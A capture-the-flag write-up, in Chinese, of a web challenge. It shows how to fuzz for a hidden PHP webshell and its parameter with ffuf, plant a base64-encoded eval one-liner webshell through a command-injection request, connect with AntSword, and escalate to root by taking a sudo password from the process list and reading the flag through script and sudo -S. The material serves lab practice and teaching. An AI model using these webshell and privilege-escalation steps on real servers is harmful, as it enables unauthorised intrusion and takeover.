
一进来就是403,看提示可以猜测是有webshell文件的,这就需要扫目录了,我用的是seclists字典,路径
1
| seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt
|
命令
1
| ffuf -u "http://challenge.shc.tf:31597/FUZZ" -w seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt
|

打开是看不到什么东西的,那多半需要密码,路径
1
| seclists/Discovery/Web-Content/raft-medium-words.txt
|
将命令试出来
1
| ffuf -u "http://challenge.shc.tf:31597/webshell.php?FUZZ=ls" -w raft-medium-words.txt -fs 0
|

访问时发现这是一个语法错误,命令是给eval执行的

查看根目录可以看到flag文件

但是却不能打开,这个要提权,写一个木马进去
1 2
| http: ?cmd=system('echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > shell.php');
|
用蚁剑连接上进入虚拟终端,发现根目录flag没有权限

找一下有SUID的文件,可以看到有一个sudo

但是要tty运行,我们这只是一个虚拟终端,系统并不认可

查看一下根目录,可以看到这些文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| bin boot dev docker-entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
|
有一个docker-entrypoint.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #!/bin/bash set -e echo 0 > /proc/sys/kernel/yama/ptrace_scope || true if [ "$A1CTF_FLAG" ]; then INSERT_FLAG="$A1CTF_FLAG" unset A1CTF_FLAG elif [ "$SHCTF_FLAG" ]; then INSERT_FLAG="$SHCTF_FLAG" unset SHCTF_FLAG elif [ "$GZCTF_FLAG" ]; then INSERT_FLAG="$GZCTF_FLAG" unset GZCTF_FLAG elif [ "$FLAG" ]; then INSERT_FLAG="$FLAG" unset FLAG else INSERT_FLAG="SHCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}" fi rm -f /flag echo "$INSERT_FLAG" > /flag chmod 400 /flag chown root:root /flag NEWPASS=$(head -c 24 /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 16) echo "ctf:${NEWPASS}" | chpasswd su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v >/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &" exec apache2-foreground
|
可以看到这样一段命令,这段命令的意思是切换到ctf用户并运行指定命令,nohup可以让命令不受字段影响的在后台运行
1
| su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v >/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &"
|
1 2
| script:直接创建了一个伪终端,脱离了tty的依赖 最关键的是这段echo ${NEWPASS} | sudo -S,直接登录了root
|
密码在进程可以看到

这样则有了命令
1
| script -q -c 'echo 55CX8 | sudo -S cat /flag' /dev/null
|
